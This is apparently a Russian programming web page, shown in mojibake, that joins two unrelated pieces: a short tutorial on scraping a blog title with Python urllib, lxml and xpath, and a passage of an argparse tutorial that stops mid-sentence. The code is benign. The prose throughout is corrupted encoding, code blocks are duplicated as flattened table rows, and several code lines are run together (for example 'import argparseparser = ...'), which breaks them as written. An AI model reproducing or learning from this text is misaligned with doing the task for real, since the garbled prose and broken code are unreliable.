Π ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠ΅ Ρ ΠΏΠΎΠΊΠ°ΠΆΡ Π²Π°ΠΌ ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°ΡΡ ΠΏΡΠΎΡΡΠΎΠΉ ΠΏΠ°ΡΡΠ΅Ρ ΡΡΡΠ°Π½ΠΈΡΡ Π² ΠΈΠ½ΡΠ΅ΡΠ½Π΅ΡΠ΅ Π½Π° Python 3.
ΠΠ»Ρ ΡΡΠΎΠ³ΠΎ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡΡΡ 2 Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ β urllib ΠΈ lxml. ΠΠ΅ΡΠ²Π°Ρ ΡΠ²Π»ΡΠ΅ΡΡΡ Π²ΡΡΡΠΎΠ΅Π½Π½ΠΎΠΉ, Π° Π²ΡΠΎΡΡΡ Π²Π°ΠΌ Π½ΡΠΆΠ½ΠΎ Π±ΡΠ΄Π΅Ρ ΠΏΠΎΠ΄Π³ΡΡΠ·ΠΈΡΡ.
ΠΠ»Ρ Π½Π°ΡΠ°Π»Π° Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΠΊΠΎΠ΄ ΡΠ°ΠΌΠΎΠΉ ΡΡΡΠ°Π½ΠΈΡΡ. ΠΡΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°ΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ:
import urllib.request # ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ
response = urllib.request.urlopen(‘http://progtask.ru’).read()
# ΠΏΠΎΠ»ΡΡΠ°Π΅ΠΌ ΡΡΡΠ°Π½ΠΈΡΡ Π² ΡΡΡΠΎΠΊΠΎΠ²ΠΎΠΌ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»Π΅Π½ΠΈΠΈ
| import urllib.request # ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ response = urllib.request.urlopen(‘http://progtask.ru’).read() # ΠΏΠΎΠ»ΡΡΠ°Π΅ΠΌ ΡΡΡΠ°Π½ΠΈΡΡ Π² ΡΡΡΠΎΠΊΠΎΠ²ΠΎΠΌ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»Π΅Π½ΠΈΠΈ |
ΠΠΎΡΠ»Π΅ ΡΡΠΎΠ³ΠΎ ΡΠ°Π³Π° Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΠΎ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΎΠΉ lxml ΠΈ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π΄ΠΎΡΡΡΠΏ ΠΊ ΠΊΠ°ΠΊΠΎΠΌΡ-Π½ΠΈΠ±ΡΠ΄Ρ ΡΠ»Π΅ΠΌΠ΅Π½ΡΡ Π½Π° ΡΡΡΠ°Π½ΠΈΡΠ΅. ΠΠ°Π²Π°ΠΉΡΠ΅ Π²ΠΎΠ·ΡΠΌΡΠΌ ΠΊ ΠΏΡΠΈΠΌΠ΅ΡΡ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΌΠΎΠ΅Π³ΠΎ Π±Π»ΠΎΠ³Π°.
ΠΠ»Ρ ΠΌΠ΅Π½Ρ ΡΠ°ΠΌΡΠΌ ΡΠ΄ΠΎΠ±Π½ΡΠΌ ΡΠΏΠΎΡΠΎΠ±ΠΎΠΌ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΠΈΠ· ΡΡΡΠ°Π½ΠΈΡΡ, ΡΠ²Π»ΡΠ΅ΡΡΡ xpath. ΠΠ³ΠΎ ΠΎΡΠ΅Π½Ρ ΠΏΡΠΎΡΡΠΎ ΠΏΠΎΠ»ΡΡΠΈΡΡ. ΠΠΎΠΊΠ°ΠΆΡ Π²Π°ΠΌ Π½Π° ΠΏΡΠΈΠΌΠ΅ΡΠ΅ Google Chrome.
ΠΠΎΠ»ΡΡΠ΅Π½ΠΈΠ΅ xpath:
- ΠΡΠ±Π΅ΡΠΈΡΠ΅ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΡΠΉ ΡΠ»Π΅ΠΌΠ΅Π½Ρ ΠΈ ΠΎΡΠΊΡΠΎΠΉΡΠ΅ Π΄Π»Ρ Π½Π΅Π³ΠΎ ΠΏΡΠ½ΠΊΡ ΠΌΠ΅Π½Ρ Β«ΠΡΠΎΡΠΌΠΎΡΡΠ΅ΡΡ ΠΊΠΎΠ΄Β».
- ΠΠ°ΡΠ΅ΠΌ Π΄Π»Ρ Π²ΡΠ΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ ΠΏΠ΅ΡΠ΅ΠΉΠ΄ΠΈΡΠ΅ Π² ΠΌΠ΅Π½Ρ ΠΏΡΠ°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡΡΠΈ ΠΈ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΠ΅ Copy -> Xpath.
ΠΡΡ, Π³ΠΎΡΠΎΠ²ΠΎ. Π’ΡΠ΅Π±ΡΠ΅ΠΌΡΠΉ Xpath Ρ Π½Π°Ρ Π΅ΡΡΡ. ΠΡΡΠ°Π»ΠΎΡΡ ΡΠΎΠ»ΡΠΊΠΎ ΠΏΡΠΈ ΠΏΠΎΠΌΠΎΡΠΈ Π½Π΅Π³ΠΎ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π±Π»ΠΎΠ³Π°.
ΠΠ»Ρ ΡΡΠΎΠ³ΠΎ ΠΊ ΡΠΆΠ΅ ΠΈΠΌΠ΅ΡΡΠ΅ΠΌΡΡΡ ΠΊΠΎΠ΄Ρ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΡΠ»Π΅Π΄ΡΡΡΠ΅Π΅:
import urllib.request
from lxml.html import fromstring # ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ°Π΅ΠΌ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΡ lxml
response = urllib.request.urlopen(‘http://progtask.ru’).read()
page = fromstring(response) # Π΄Π΅Π»Π°Π΅ΠΌ ΠΈΠ· Π½Π°ΡΠ΅ΠΉ ΡΡΡΠΎΠΊΠΈ ΠΎΠ±ΡΠ΅ΠΊΡ Π΄Π»Ρ ΠΌΠ°Π½ΠΈΠΏΡΠ»ΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΡΡΡΠ°Π½ΠΈΡΠ΅ΠΉ
nameSite = page.xpath(‘//*[@id=»masthead»]/div/h2/a’) # ΠΏΠΎΠ»ΡΡΠ°Π΅ΠΌ Π²ΡΠ΅ ΡΠ»Π΅ΠΌΠ΅Π½ΡΡ Ρ ΠΏΠ΅ΡΠ΅Π΄Π°Π½Π½ΡΠΌ xpath
print(nameSite[0].text) # Π²ΡΠ²ΠΎΠ΄ΠΈΠΌ ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ
| import urllib.request from lxml.html import fromstring # ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ°Π΅ΠΌ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΡ lxml Β response = urllib.request.urlopen(‘http://progtask.ru’).read() page = fromstring(response) # Π΄Π΅Π»Π°Π΅ΠΌ ΠΈΠ· Π½Π°ΡΠ΅ΠΉ ΡΡΡΠΎΠΊΠΈ ΠΎΠ±ΡΠ΅ΠΊΡ Π΄Π»Ρ ΠΌΠ°Π½ΠΈΠΏΡΠ»ΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΡΡΡΠ°Π½ΠΈΡΠ΅ΠΉ nameSite = page.xpath(‘//*[@id=»masthead»]/div/h2/a’) # ΠΏΠΎΠ»ΡΡΠ°Π΅ΠΌ Π²ΡΠ΅ ΡΠ»Π΅ΠΌΠ΅Π½ΡΡ Ρ ΠΏΠ΅ΡΠ΅Π΄Π°Π½Π½ΡΠΌ xpath print(nameSite[0].text) # Π²ΡΠ²ΠΎΠ΄ΠΈΠΌ ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ |
ΠΠ°ΠΊ Π²ΠΈΠ΄ΠΈΡΠ΅, Π½ΠΈΡΠ΅Π³ΠΎ ΡΠ»ΠΎΠΆΠ½ΠΎΠ³ΠΎ Π² ΡΡΠΎΠΌ Π½Π΅Ρ.
ΠΠ°Π΄Π΅ΡΡΡ ΡΡΠ°ΡΡΡ Π²Π°ΠΌ ΠΏΠΎΠΌΠΎΠ³Π»Π°.
ΠΡΠΎΡΡΠΎΠ΅ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΡΡΠ²ΠΎ ΠΏΠΎ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ°ΠΌ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ Python | by ΠΡΡΡΡ Π₯Π°ΠΉΠ±ΡΠ»Π»ΠΈΠ½ | NOP::Nuances of Programming
ΠΠ΄Π½Π° ΠΈΠ· ΡΠΈΠ»ΡΠ½Π΅ΠΉΡΠΈΡ
ΡΡΠΎΡΠΎΠ½ Python β ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡΡ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ Π»ΡΠ±ΡΠ΅ Π·Π°Π΄Π°ΡΠΈ. ΠΠ³ΠΎ ΡΡΠ°Π½Π΄Π°ΡΡΠ½Π°Ρ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»ΡΠ΅Ρ Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½ΠΎ ΡΡΠ½ΠΊΡΠΈΠΉ Π΄Π»Ρ Π½Π°ΠΏΠΈΡΠ°Π½ΠΈΡ ΠΌΠ½ΠΎΠΆΠ΅ΡΡΠ²Π° ΠΏΠΎΠ»Π΅Π·Π½ΡΡ
ΡΡΠ΅Π½Π°ΡΠΈΠ΅Π² ΠΈ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΎΠ². Π Π΄Π»Ρ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ Π±ΠΎΠ»ΡΡΠΈΡ
Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠ΅ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡΠΎΡΡΠΎ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ pip install
.
ΠΠΎΡΡΠΈ ΠΊΠ°ΠΆΠ΄ΡΠΉ ΡΠΎΠ²ΡΠ΅ΠΌΠ΅Π½Π½ΡΠΉ Π―Π ΡΠΏΠΎΡΠΎΠ±Π΅Π½ ΠΏΡΠΈΠ½ΠΈΠΌΠ°ΡΡ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΡ ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ. ΠΡΠΎ ΠΎΡΠ΅Π½Ρ Π²Π°ΠΆΠ½Π°Ρ ΡΡΠ½ΠΊΡΠΈΡ, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΠΎΠ½Π° Π΄ΠΎΠΏΡΡΠΊΠ°Π΅Ρ Π΄ΠΈΠ½Π°ΠΌΠΈΡΠ΅ΡΠΊΠΈΠΉ Π²Π²ΠΎΠ΄ Π΄Π°Π½Π½ΡΡ ΠΎΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ, Π½Π΅Π·Π°Π²ΠΈΡΠΈΠΌΠΎ ΠΎΡ ΡΠΎΠ³ΠΎ, Π½Π°ΠΏΠΈΡΠ°Π»ΠΈ ΠΎΠ½ΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ ΠΈΠ»ΠΈ Π½Π΅Ρ.
Python ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊ, Π±Π»Π°Π³ΠΎΠ΄Π°ΡΡ ΠΊΠΎΡΠΎΡΡΠΌ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ ΠΏΡΠΈΠ½ΠΈΠΌΠ°ΡΡ Π²Π²Π΅Π΄Π΅Π½Π½ΡΠ΅ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΌ Π΄Π°Π½Π½ΡΠ΅ ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Ρ, ΡΠ°ΠΊΠΈΡ
ΠΊΠ°ΠΊ sys.argv
, getopt
ΠΈ argparse
. ΠΠ° Π΄Π°Π½Π½ΡΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ argparse
— Π½Π°ΠΈΠ»ΡΡΡΠΈΠΉ ΠΈ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΡΠ°ΡΠΏΡΠΎΡΡΡΠ°Π½Π΅Π½Π½ΡΠΉ Π²Π°ΡΠΈΠ°Π½Ρ.
ΠΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° Python argparse Π±ΡΠ»Π° Π²ΡΠΏΡΡΠ΅Π½Π° ΠΊΠ°ΠΊ ΡΠ°ΡΡΡ ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΠΎΠΉ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ Π²ΠΌΠ΅ΡΡΠ΅ Ρ Python 3.2. ΠΠΎΡΠ»Π΅ ΡΡΠΎΠ³ΠΎ ΡΠ΅Π»ΠΈΠ·Π° Π² ΡΠΈΠ»Ρ ΡΠ²ΠΎΠ΅ΠΉ ΠΏΠΎΠΏΡΠ»ΡΡΠ½ΠΎΡΡΠΈ ΠΎΠ½Π° Π±ΡΠ»Π° ΠΈΠ½ΡΠ΅Π³ΡΠΈΡΠΎΠ²Π°Π½Π° Π² Python 2.7 ΠΈ Π²ΠΎ Π²ΡΠ΅ Π±ΡΠ΄ΡΡΠΈΠ΅ Π²Π΅ΡΡΠΈΠΈ Python, Π±ΡΡΡΡΠΎ ΡΡΠ°Π² Π·ΠΎΠ»ΠΎΡΡΠΌ ΡΡΠ°Π½Π΄Π°ΡΡΠΎΠΌ Π΄Π»Ρ ΡΠ°Π±ΠΎΡΡ Ρ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ°ΠΌΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ. ΠΠ½Π° ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»ΡΠ΅Ρ ΡΠ»Π΅Π΄ΡΡΡΠΈΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ:
- ΠΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ ΡΠΏΡΠ°Π²ΠΎΡΠ½ΡΡ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠΉ ΠΈ Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΠΈΠΈ Π΄Π»Ρ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ.
- Π£ΡΡΠ°Π½ΠΎΠ²ΠΊΠ° Π·Π½Π°ΡΠ΅Π½ΠΈΠΉ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ Π΄Π»Ρ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ² Π² ΡΠΈΡΡΠΎΠΌ ΠΈ ΡΠΈΡΠ°Π±Π΅Π»ΡΠ½ΠΎΠΌ Π²ΠΈΠ΄Π΅.
- ΠΠ°Π»ΠΈΡΠΈΠ΅ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²Π° ΠΎΠΏΡΠΈΠΉ Π΄Π»Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ.
- ΠΠΎΠ΄Π΄Π΅ΡΠΆΠΊΠ° ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²Π° ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΎΠ² Π΄Π»Ρ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ°.
- ΠΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ ΠΏΡΠΈΠΌΠ΅Π½ΡΡΡ Π΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ ΠΈΠ»ΠΈ ΡΡΠ½ΠΊΡΠΈΡ ΠΊ Π²Π²ΠΎΠ΄Ρ ΠΏΠΎ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΠΌ ΡΠΊΠ°Π·Π°Π½ΠΈΡΠΌ.
ΠΡΠΎΠ²Π΅Π΄Π΅ΠΌ Π½Π΅Π±ΠΎΠ»ΡΡΡΡ ΡΠΊΡΠΊΡΡΡΠΈΡ ΠΏΠΎ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ΅ argparse
Python.
ΠΡΠΊΡΠΎΠΉΡΠ΅ ΠΏΡΡΡΠΎΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ Python. ΠΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° argparse Π²ΡΡΡΠΎΠ΅Π½Π° Π² Python, ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΠΎ ΠΏΡΠΎΡΠ΅Π΄ΡΡΠ° ΡΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ Π½Π΅ ΠΏΠΎΡΡΠ΅Π±ΡΠ΅ΡΡΡ. ΠΠ° ΡΡΠ°Π³ΠΌΠ΅Π½ΡΠ΅ ΠΊΠΎΠ΄Π° Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°ΡΡ Π½Π°ΡΠ°Π»ΡΠ½ΡΡ ΡΡΡΠ°Π½ΠΎΠ²ΠΊΡ Π΄Π»Ρ argparse:
import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')args = parser.parse_args()
Π ΡΡΠΎΠΌ ΠΊΠΎΠ΄Π΅ Π΅ΡΡΡ 3 Π²Π°ΠΆΠ½ΡΡ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠ°:
- ΠΠΌΠΏΠΎΡΡ
argparse
. - Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΏΠ°ΡΡΠ΅ΡΠ° Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ² (Ρ ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅ΠΌ).
- ΠΠ°ΡΡΠΈΠ½Π³ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ.
ΠΠ° Π²ΡΠΎΡΠΎΠΌ ΡΡΠ°ΠΏΠ΅ ΠΌΡ ΡΠΎΠ·Π΄Π°Π΅ΠΌ ΠΎΠ±ΡΠ΅ΠΊΡ parser, Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΊΠΎΡΠΎΡΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²Π»ΡΡΡ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ Π²ΠΌΠ΅ΡΡΠ΅ Ρ ΠΎΠΏΡΠΈΡΠΌΠΈ Π΄Π»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ . ΠΠ° ΡΡΠ΅ΡΡΠ΅ΠΌ ΡΡΠ°ΠΏΠ΅ Π·Π°ΠΏΡΡΠΊΠ°Π΅ΡΡΡ ΡΡΠ½ΠΊΡΠΈΡ, ΠΊΠΎΡΠΎΡΠ°Ρ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅Ρ Π²Π²Π΅Π΄Π΅Π½Π½ΡΠ΅ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΌ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΡ ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ.
ΠΡΠ΅Π»Π΅ΡΡΡ argparse
Π·Π°ΠΊΠ»ΡΡΠ°Π΅ΡΡΡ Π² ΡΠΎΠΌ, ΡΡΠΎ ΠΎΠ½Π° Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΎΠΉ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΡΡΠΎΠΉ ΠΏΡΠΎΡΡΠΎΠΉ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ. ΠΠ°ΠΏΡΡΡΠΈΡΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Ρ --help
Π² ΠΊΠΎΠ½ΡΠ΅ ΠΈ argparse
Π²ΡΠ²Π΅Π΄Π΅Ρ ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΡΡΠ²Π° ΠΏΠΎ argparse!
Π’Π΅ΠΏΠ΅ΡΡ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π°ΡΠ³ΡΠΌΠ΅Π½Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ Ρ ΠΈΠΌΠ΅Π½Π΅ΠΌ βaβ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²ΠΎ ΡΡΠ°Π³ΠΌΠ΅Π½ΡΠ΅ ΠΊΠΎΠ΄Π° Π½ΠΈΠΆΠ΅. Π§ΡΠΎΠ±Ρ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡ Π°ΡΠ³ΡΠΌΠ΅Π½Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ Π² ΡΡΠ΅Π½Π°ΡΠΈΠΉ Python, Π·Π°ΠΏΡΡΡΠΈΡΠ΅ Π΅Π³ΠΎ Ρ ΠΏΠΎΠΌΠΎΡΡΡ python3 argparse_2.py --a=5
:
import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a")args = parser.parse_args()
a = args.a
print(a)
ΠΠ±ΡΠ°ΡΠΈΡΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ .add_argument()
Π΄Π»Ρ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΠΈ «a» Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ. Π§ΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π΄ΠΎΡΡΡΠΏ ΠΊ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΏΠΎΠ»ΡΡΠ΅Π½Π½ΠΎΠΉ ΠΈΠ· a
, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌ args.a
.
Π‘Π»Π΅Π΄ΡΠ΅Ρ ΠΎΡΠΌΠ΅ΡΠΈΡΡ, ΡΡΠΎ Π±Π΅Π· ΡΠΊΠ°Π·Π°Π½ΠΈΡ Π·Π½Π°ΡΠ΅Π½ΠΈΡ Π΄Π»Ρ a
Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠ΅ args.a
Π±ΡΠ΄Π΅Ρ None
. Π§ΡΠΎΠ±Ρ ΠΎΠ±ΠΎΠΉΡΠΈ ΡΡΠΎ, ΡΠΊΠ°Π·ΡΠ²Π°Π΅ΠΌ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ Π΄Π»Ρ a
Π² ΠΏΠ°ΡΡΠ΅ΡΠ΅ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ°, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. ΠΠ±ΡΠ°ΡΠΈΡΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΡΡΠΎ Π½Π° ΡΡΠΎΡ ΡΠ°Π· ΡΠ°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΎ ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅.
import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", default=1, help="This is the 'a' variable")args = parser.parse_args()
a = args.a
print(a)
Π Π΄Π°Π½Π½ΠΎΠΌ ΡΠ»ΡΡΠ°Π΅, Π΅ΡΠ»ΠΈ ΠΌΡ Π½Π΅ ΠΏΠ΅ΡΠ΅Π΄Π°Π΄ΠΈΠΌ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ Π΄Π»Ρ a
ΡΠ΅ΡΠ΅Π· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡΡ ΡΡΡΠΎΠΊΡ, ΡΠΎ a
ΠΏΡΠΈΠΎΠ±ΡΠ΅ΡΠ΅Ρ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ, ΡΠ°Π²Π½ΠΎΠ΅ 1. ΠΠΎΠ±Π°Π²ΠΈΠ² ΡΡΡΠΎΠΊΡ Π΄Π»Ρ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ help
, ΠΌΡ ΡΠ°ΠΊΠΆΠ΅ ΡΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΠ΅ΡΠ°ΡΠ°ΡΡ Π±ΠΎΠ»Π΅Π΅ ΡΡΡΠ΅ΠΊΡΠΈΠ²Π½ΠΎΠ΅ ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅ Π΄Π»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ --help
:
usage: run.py [-h] [--a A]A tutorial of argparse!optional arguments:
-h, --help show this help message and exit
--a A This is the 'a' variable
Π Π°ΡΡΠΌΠΎΡΡΠΈΠΌ Π΅ΡΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΡΡ
ΠΎΠΏΡΠΈΠΉ Ρ argparse
. ΠΠΎ-ΠΏΠ΅ΡΠ²ΡΡ
